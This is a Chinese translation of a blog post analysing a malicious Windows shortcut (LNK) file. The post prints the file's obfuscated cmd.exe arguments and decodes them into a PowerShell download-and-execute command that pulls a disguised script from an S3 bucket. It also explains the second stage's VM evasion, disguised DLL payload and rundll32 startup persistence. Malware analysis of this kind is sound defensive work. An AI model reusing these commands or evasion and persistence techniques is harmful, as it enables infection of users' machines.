原文地址:https://dexters-lab.net/2019/02/16/analyzing-the-windows-lnk-file-attack-method/

最近我的一个朋友分享了一个有趣的恶意样本,它是一个windows快捷方式文件(LNK文件),点击(执行)后导致感染,虽然我在谷歌的基础研究之前我不知道这种类型的攻击,自2017年以来,这种类型的攻击有所增加,我感到很惊讶。在这篇文章中,我们将分析LNK文件恶意软件并揭示攻击者如何使用多层混淆来逃避AV并最终注入恶意二进制文件,我们还将研究如何对每个层进行去混淆,并了解代码正在做什么。

动机

我对这个特定样本感兴趣的原因是这个文件看起来很正常。作为一个快捷方式文件,它对普通用户来说并不可疑,因为该文件不是EXE。接下来,当用户单击文件时,会弹出一个浏览器窗口,它会打开链接https://get.adobe.com/br/flashplayer/,这会让用户认为他的系统中缺少一个flash插件,这就是为什么他无法打开/执行该文件,但一旦他安装了Flash播放器,当他再次尝试打开文件并意识到它只是一个垃圾文件时,已经太晚了。

但在藏在这看似平常背后,实际上它通过shell命令执行Powershell命令来下载下一阶段的Powershell脚本,该脚本主要功能是下载。它将下载的文件是一个BMP文件,看起来是一个正常的图像文件,但它实际上是一个伪装的Powershell文件。

什么是LNK文件?

LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的文件扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。LNK代表LiNK。LNK文件可以通过更改图标伪装成合法文档。

基本分析

以下是一般文件属性的外观。

看一下Shortcut选项卡会给我们提供更多细节,下面是它的样子。

正如您在target字段中所看到的,它使用一些参数指向yo命令提示符可执行文件。这个命令将在执行这个LNK文件时运行。但这不是全部的命令。
快捷方式>目标的最大长度只有260个字符。任何超过这个长度的东西都是不可见的。但是,命令行参数的最大长度是4096个字符,因此我们无法在上面的窗口中看到整个命令。我使用了另一个工具来提取整个命令。

深入研究LNK文件格式

使用LNK文件分析工具,我们可以设法获得整个嵌入式命令,如下所示

LNK文件的上述提取属性中感兴趣的字段是:

相对路径 ........\Windows\system32\cmd.exe
工作目录 %SystemRoot%\System32
参数 /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&…

让我们仔细看看Arguments字段,如下所示:

c:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! -

清理上面混乱的命令,它只是一系列shell命令,如下所示。

set x4OAGWfxlES02z6NnUkK=2whttpr0
set L1U03HmUO6B9IcurCNNlo4=.com
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
set aZM4j3ZhPLBn9MpuxaO= -win 1
set MlyavWfE=ndows
set jA8Axao1xcZ=iEx
set WMkgA3uXa1pXx=tRi
set KNhGmAqHG5=bJe
set 4kxhaz6bqqKC=LOad
set rwZCnSC7T=nop
set jcCvC=NEw
set ZTVZ=wEbc
set DABThzRuTT2hYjVOy=nt).dow
set cwdOsPOdA08SZaXVp1eFR=t NeT.
set Rb=Ers
set j4HfRAqYXcRZ3R=hEll
set Kpl01SsXY5tthb1=.bmp
set vh7q6Aq0zZVLclPm=\\v1.0\\
set 2Mh=pOw
set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\\
cd %SystemRoot%\\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe

每一行都是shell命令。第一行是设置一些变量,然后在第3行,最后一行使用这些变量来组装这些变量并执行它们。这种组装和反汇编变量名的方法使代码更难阅读。

上面混淆的shell脚本解码为以下两个命令:

  1. C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com && echo | start get.adobe.com/br/flashplayer/ 此命令在浏览器窗口中打开adobe flashplayer安装页面。
  2. echo iEx("iEx(New-Object Net.WebClient).DownloadString('hxxps://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowsPowershell\v1.0\Powershell -nop -win 1 --%ProgramFiles%\\Internet Explorer\\iexplore.exe 这个命令实际下载了第二层Powershell,该文件伪装成URL中的BMP文件

解码第二层Powershell

由上面的LNK文件下载的Powershell脚本可以在此链接 fd60a8b790b42f0c416c28e4ad22dc317ad8fbc5 上找到,它被严重混淆,使用ISESteriods进行混淆。我确实设法解码脚本,可以在此链接上找到可读代码。

执行脚本执行以下操作:

  1. 检查它是否在虚拟机内部运行,如果它正在运行,则它不执行其余命令并退出。否则,它将处理为后续步骤。该脚本检查以下虚拟机列表:
    1. VirtualBox的
    2. VMware虚拟平台
    3. 虚拟机
    4. HVM domU
  2. 然后它创建一个名为444444444444的互斥锁,这是为了确保只运行该程序的一个实例。
  3. 如果上一步成功,则下载一个zip,再次伪装成一个图像文件,来自以下URL hxxps://s3-eu-west-1.amazonaws.com/juremasobra2/image2.png,即887eafc19419df5119a829fd05d898503b7a0217
  4. 将PNG文件重命名为ZIP文件
  5. 从包含DLL 92be09ca93ad6a8b04b7e2e2087fc6884fef1f63的zip文件中提取内容,并将此文件复制到启动文件夹。
  6. 然后它通过在启动文件夹中创建快捷方式文件来使用持久性机制,此快捷方式文件(再次LNK)在命令shell中调用run32.dll来运行恶意DLL二进制文件。由于run32.dll是一个内置的签名二进制文件,因此不会引起更多怀疑。例如,此命令_rundll32.exe shell32.dll,ShellExec_RunDLL notepad.exe_将启动notepad.exe。
  7. 然后脚本休眠40秒,然后重新启动机器。

通过上述持久性,技术攻击者试图将其恶意DLL二进制文件隐藏在合法二进制文件后面。

可以在此链接上找到有关此持久性机制的更多信息

参考

  1. LNK文件格式
  2. 其他类似的攻击
  3. TreadMicro博客没有对这种类型的攻击倾斜

源链接

Hacking more

...